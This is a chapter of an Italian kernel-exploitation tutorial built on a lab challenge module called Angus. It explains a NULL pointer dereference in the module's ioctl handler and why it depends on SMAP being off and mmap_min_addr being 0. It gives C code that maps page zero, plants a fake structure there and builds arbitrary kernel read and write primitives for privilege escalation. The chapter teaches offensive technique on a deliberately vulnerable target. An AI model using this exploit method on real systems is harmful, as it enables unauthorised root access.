In LK01 abbiamo già coperto quasi tutte le basi necessarie per il kernel exploit. Da qui in avanti ci concentreremo quindi su tecniche più specifiche del kernel o su vulnerabilità legate a funzionalità particolari di Linux.
Nel capitolo LK02 (Angus) vedremo come sfruttare una NULL Pointer Dereference in kernel space. Per prima cosa scarica LK02.

Nota sul tipo di vulnerabilità trattato qui

Se guardi le opzioni di avvio qemu di LK02, noterai che SMAP è disattivato. La tecnica di exploit che vedremo per questa NULL pointer dereference dipende proprio dal fatto che SMAP non sia attivo.

Inoltre, prova a eseguire sul target:

1
2
$ cat /proc/sys/vm/mmap_min_addr
0

mmap_min_addr è una variabile del kernel Linux che, come dice il nome, impone un limite inferiore agli indirizzi mappabili dallo userland tramite mmap. Di default il valore è diverso da zero, ma qui è stato impostato a 0. Questa mitigazione è stata introdotta a partire da Linux 2.6.23 proprio per rendere difficili da sfruttare vulnerabilità di questo tipo.

In altre parole, il capitolo assume che si possa aggirare o disattivare le difese moderne contro la NULL pointer dereference. Se ti interessano solo attacchi applicabili ai kernel Linux recenti con tutte le mitigazioni standard, puoi anche saltarlo.

Verifica della vulnerabilità

Partiamo dal sorgente di LK02, che si trova in src/angus.c.

ioctl

Rispetto a LK01, la differenza principale è che non ci sono handler per read e write; al loro posto il modulo implementa un handler per la system call ioctl.
Quando lo userland chiama ioctl su un file descriptor, il kernel inoltra la richiesta al relativo handler del driver.
ioctl prende, oltre al file descriptor, due argomenti: request e argp.

1
ioctl(fd, request, argp);

request è un codice che identifica l’operazione da eseguire sul device; i codici sono definiti liberamente dal driver, quindi vanno sempre cercati nel sorgente.
argp, di solito, contiene un puntatore a dati userland che il modulo legge con copy_from_user.
Anche qui funziona così: il modulo si aspetta di ricevere una struttura request_t.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
char *ptr;
size_t len;
} request_t;

...

static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
request_t req;
XorCipher *ctx;

if (copy_from_user(&req, (void*)arg, sizeof(request_t)))
return -EINVAL;

Subito dopo si nota che il comportamento cambia in base al codice cmd:

1
2
3
4
5
6
7
8
9
10
11
12
13
switch (cmd) {
case CMD_INIT:
if (!ctx)
filp->private_data = (void*)kzalloc(sizeof(XorCipher), GFP_KERNEL);
if (!filp->private_data) return -ENOMEM;
break;

case CMD_SETKEY:
...
break;

case CMD_SETDATA:
...

Prima di analizzare ogni caso, serve capire che cosa sia private_data.

Struttura file

Quando lo userland interagisce con un driver usa un file descriptor; lato kernel, quel descriptor viene rappresentato da una struct file.
La struttura contiene informazioni specifiche del file, per esempio l’offset di lettura impostato da lseek[1], ma include anche un campo che il modulo può usare liberamente:

1
2
3
4
struct file {
...
/* needed for tty driver, and maybe others */
void *private_data;

Il modulo può usarlo come preferisce, purche si occupi correttamente di allocare è liberare i dati. In questo challenge viene usato per salvare una struttura personalizzata chiamata XorCipher.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int module_open(struct inode *inode, struct file *filp) {
filp->private_data = NULL;
return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
if (filp->private_data)
kfree(filp->private_data);
return 0;
}
...
switch (cmd) {
case CMD_INIT:
if (!ctx)
filp->private_data = (void*)kzalloc(sizeof(XorCipher), GFP_KERNEL);
if (!filp->private_data) return -ENOMEM;
break;
Lupetto

Se anche LK01-4 (Holstein v4) avesse tenuto i dati in private_data, la race non si sarebbe verificata.

Panoramica del programma

Il modulo implementa una specie di cifratura XOR nel kernel.
Si controlla via ioctl e mette a disposizione sei richieste:

1
2
3
4
5
6
#define CMD_INIT    0x13370001
#define CMD_SETKEY 0x13370002
#define CMD_SETDATA 0x13370003
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
#define CMD_DECRYPT 0x13370006

Con CMD_INIT si alloca e inizializza in private_data una struttura XorCipher:

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
char *key;
char *data;
size_t keylen;
size_t datalen;
} XorCipher;
...
case CMD_INIT:
if (!ctx)
filp->private_data = (void*)kzalloc(sizeof(XorCipher), GFP_KERNEL);
if (!filp->private_data) return -ENOMEM;
break;

La struttura contiene:

  • un puntatore alla chiave (key) è la sua lunghezza (keylen)
  • un puntatore ai dati (data) è la loro lunghezza (datalen)

Con CMD_SETKEY si copia in kernel space la chiave fornita dallo userland. Se una chiave era già presente, viene liberata prima.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case CMD_SETKEY:
if (!ctx) return -EINVAL;
if (!req.ptr || req.len > 0x1000) return -EINVAL;
if (ctx->key) kfree(ctx->key);
if (!(ctx->key = (char*)kmalloc(req.len, GFP_KERNEL))) return -ENOMEM;

if (copy_from_user(ctx->key, req.ptr, req.len)) {
kfree(ctx->key);
ctx->key = NULL;
return -EINVAL;
}

ctx->keylen = req.len;
break;

CMD_SETDATA fa la stessa cosa per il payload da cifrare o decifrare:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case CMD_SETDATA:
if (!ctx) return -EINVAL;
if (!req.ptr || req.len > 0x1000) return -EINVAL;
if (ctx->data) kfree(ctx->data);
if (!(ctx->data = (char*)kmalloc(req.len, GFP_KERNEL))) return -ENOMEM;

if (copy_from_user(ctx->data, req.ptr, req.len)) {
kfree(ctx->key);
ctx->key = NULL;
return -EINVAL;
}

ctx->datalen = req.len;
break;

Con CMD_GETDATA si possono copiare i dati dallo spazio kernel allo userland:

1
2
3
4
5
case CMD_GETDATA:
if (!ctx->data) return -EINVAL;
if (!req.ptr || req.len > ctx->datalen) return -EINVAL;
if (copy_to_user(req.ptr, ctx->data, req.len)) return -EINVAL;
break;

Infine CMD_ENCRYPT e CMD_DECRYPT chiamano la stessa funzione xor, perché nel cifrario XOR cifrare e decifrare sono la stessa operazione:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
long xor(XorCipher *ctx) {
size_t i;

if (!ctx->data || !ctx->key) return -EINVAL;
for (i = 0; i < ctx->datalen; i++)
ctx->data[i] ^= ctx->key[i % ctx->keylen];
return 0;
}

...

case CMD_ENCRYPT:
case CMD_DECRYPT:
return xor(ctx);

Individuare la vulnerabilità

Nel modulo non ci sono buffer overflow o Use-after-Free evidenti. Se lo leggi con attenzione, però, c’è una NULL pointer dereference nel percorso di cifratura/decifratura.
All’inizio dell’handler ioctl, private_data viene castato a XorCipher *:

1
ctx = (XorCipher*)filp->private_data;

In comandi come CMD_SETKEY o CMD_SETDATA si controlla correttamente che ctx non sia NULL:

1
if (!ctx) return -EINVAL;

Ma CMD_GETDATA, CMD_ENCRYPT e CMD_DECRYPT non eseguono questo controllo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
long xor(XorCipher *ctx) {
size_t i;

if (!ctx->data || !ctx->key) return -EINVAL; // manca il controllo su ctx
for (i = 0; i < ctx->datalen; i++)
ctx->data[i] ^= ctx->key[i % ctx->keylen];
return 0;
}
...
case CMD_GETDATA:
if (!ctx->data) return -EINVAL; // manca il controllo su ctx
if (!req.ptr || req.len > ctx->datalen) return -EINVAL;
if (copy_to_user(req.ptr, ctx->data, req.len)) return -EINVAL;
break;

case CMD_ENCRYPT:
case CMD_DECRYPT:
return xor(ctx);

Quindi, se XorCipher non è stato inizializzato, il modulo dereferenziera un puntatore NULL.

Verificare il bug

Partiamo da un uso corretto del modulo. Conviene preparare piccole wrapper function per ciascun comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int angus_init(void) {
request_t req = { NULL };
return ioctl(fd, CMD_INIT, &req);
}
int angus_setkey(char *key, size_t keylen) {
request_t req = { .ptr = key, .len = keylen };
return ioctl(fd, CMD_SETKEY, &req);
}
int angus_setdata(char *data, size_t datalen) {
request_t req = { .ptr = data, .len = datalen };
return ioctl(fd, CMD_SETDATA, &req);
}
int angus_getdata(char *data, size_t datalen) {
request_t req = { .ptr = data, .len = datalen };
return ioctl(fd, CMD_GETDATA, &req);
}
int angus_encrypt() {
request_t req = { NULL };
return ioctl(fd, CMD_ENCRYPT, &req);
}
int angus_decrypt() {
request_t req = { NULL };
return ioctl(fd, CMD_ENCRYPT, &req);
}

Per esempio, possiamo cifrare "Hello, World!" con la chiave "ABC123" e poi decifrarlo di nuovo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main() {
unsigned char buf[0x10];
fd = open("/dev/angus", O_RDWR);
if (fd == -1) fatal("/dev/angus");

angus_init();
angus_setkey("ABC123", 6);
angus_setdata("Hello, World!", 13);

angus_encrypt();
angus_getdata(buf, 13);
for (int i = 0; i < 13; i++) {
printf("%02x ", buf[i]);
}
putchar('\n');

angus_decrypt();
angus_getdata(buf, 13);
for (int i = 0; i < 13; i++) {
printf("%02x ", buf[i]);
}
putchar('\n');

close(fd);
return 0;
}

Se tutto funziona, i dati vengono cifrati e poi recuperati correttamente:

Uso normale del modulo Angus

Ora proviamo invece a cifrare senza avere mai inizializzato XorCipher:

1
2
3
4
5
6
7
8
9
10
int main() {
fd = open("/dev/angus", O_RDWR);
if (fd == -1) fatal("/dev/angus");

//angus_init();
angus_encrypt();

close(fd);
return 0;
}

Eseguendo il programma, dovresti finire in un kernel panic:

Crash causato dalla NULL pointer dereference

Nel messaggio compare qualcosa come kernel NULL pointer dereference, address: 0000000000000008, confermando che il kernel ha davvero dereferenziato un puntatore nullo.
Le NULL pointer dereference compaiono spesso anche in userland, ma di solito non sono sfruttabili. Qui, invece, vedremo perché possono diventarlo.

Memoria virtuale e mmap_min_addr

Secondo il modello di memoria di Linux, diverse fasce di indirizzi virtuali hanno ruoli diversi. Per esempio, da 0000000000000000 a 00007fffffffffff lo spazio è disponibile allo userland; da ffffffff80000000 a ffffffff9fffffff troviamo invece memoria del kernel mappata a partire dalla RAM fisica.

Lupetto

Su Linux gli indirizzi a 48 bit vengono estesi con segno a 64 bit. Per questo l'intervallo da 0x800000000000 a 0xffff7fffffffffff è invalido e viene chiamato non-canonical.

Dato che l’intervallo 0000000000000000 - 00007fffffffffff appartiene allo userland, se riusciamo a mappare davvero l’indirizzo 0, una NULL pointer dereference non provoca più un crash immediato: il kernel finisce per leggere o scrivere dati che l’attaccante ha preparato a quell’indirizzo. Questo ovviamente è possibile solo se SMAP è disabilitato.

Con mmap, il primo argomento a NULL significa normalmente “scegli tu l’indirizzo”. Se invece si usa MAP_FIXED, il mapping viene fatto esattamente all’indirizzo richiesto o fallisce. Così si può tentare di mappare la pagina a indirizzo zero. (Con KPTI attivo, conviene anche aggiungere MAP_POPULATE.)

1
2
3
mmap(0, 0x1000, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE,
-1, 0);

Sul challenge questo funziona, ma sulla maggior parte delle normali macchine Linux fallirà. Il motivo è proprio mmap_min_addr:

1
2
$ cat /proc/sys/vm/mmap_min_addr
65536

Lo userland non può mappare indirizzi più piccoli di questo valore. In condizioni normali, quindi, una NULL pointer dereference risulta non sfruttabile. Qui invece mmap_min_addr vale 0, quindi l’attacco è possibile.

Elevazione di privilegi

Dal momento che il modulo dereferenzia un puntatore NULL trattandolo come XorCipher, l’attaccante può preparare una finta struttura XorCipher all’indirizzo 0:

1
2
3
4
5
6
typedef struct {
char *key;
char *data;
size_t keylen;
size_t datalen;
} XorCipher;

Manipolando data e datalen, CMD_GETDATA permette di leggere dati da un indirizzo arbitrario. Impostando opportunamente anche key e keylen, si può arrivare a scrivere su un indirizzo arbitrario.
In altre parole, la vulnerabilità consente di costruire primitive AAR/AAW, cioè Arbitrary Address Read e Arbitrary Address Write, estremamente potenti.
CMD_GETDATA, infatti, usa copy_to_user per trasferire dati dal kernel allo userland:

1
if (copy_to_user(req.ptr, ctx->data, req.len)) return -EINVAL;

Funzioni come copy_to_user e copy_from_user sono progettate per fallire senza crashare anche se ricevono indirizzi non mappati. Questo significa che, anche con KASLR attivo, si può provare a leggere indirizzi arbitrari in modo bruteforce finché una copy_to_user non va a buon fine.

Prima di tutto, però, costruiamo e testiamo le primitive AAR/AAW su memoria userland:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
XorCipher *nullptr = NULL;

void AAR(char *dst, char *src, size_t len) {
nullptr->data = src;
nullptr->datalen = len;
angus_getdata(dst, len);
}

void AAW(char *dst, char *src, size_t len) {
// siccome la scrittura avviene via XOR, leggiamo prima il contenuto originale
char *tmp = (char*)malloc(len);
if (tmp == NULL) fatal("malloc");
AAR(tmp, dst, len);

// regoliamo i byte in modo che l'XOR produca il risultato desiderato
for (size_t i = 0; i < len; i++)
tmp[i] ^= src[i];

// scrittura
nullptr->data = dst;
nullptr->datalen = len;
nullptr->key = tmp;
nullptr->keylen = len;
angus_encrypt();

free(tmp);
}

int main() {
fd = open("/dev/angus", O_RDWR);
if (fd == -1) fatal("/dev/angus");

// prepara una falsa XorCipher al NULL pointer
if (mmap(0, 0x1000, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE,
-1, 0) != NULL)
fatal("mmap");

// test di AAR/AAW
char buf[0x10];
AAR(buf, "Hello, World!", 13);
printf("AAR: %s\n", buf);
AAW(buf, "This is a test", 14);
printf("AAW: %s\n", buf);

close(fd);
return 0;
}

Le primitive funzionano:

Creazione delle primitive AAR/AAW

A questo punto si può scegliere liberamente la strategia finale: cercare il base address del kernel, individuare la struttura cred, e così via. Il codice di exploit di esempio è scaricabile da qui.

Elevazione di privilegi

Prova diversi modi per individuare la struttura cred e il base address del kernel, e misura quale tecnica risulta mediamente più veloce. Quali sono vantaggi e svantaggi di ciascun approccio?

  1. Naturalmente, anche l’handler di lseek deve essere implementato correttamente dal modulo. ↩︎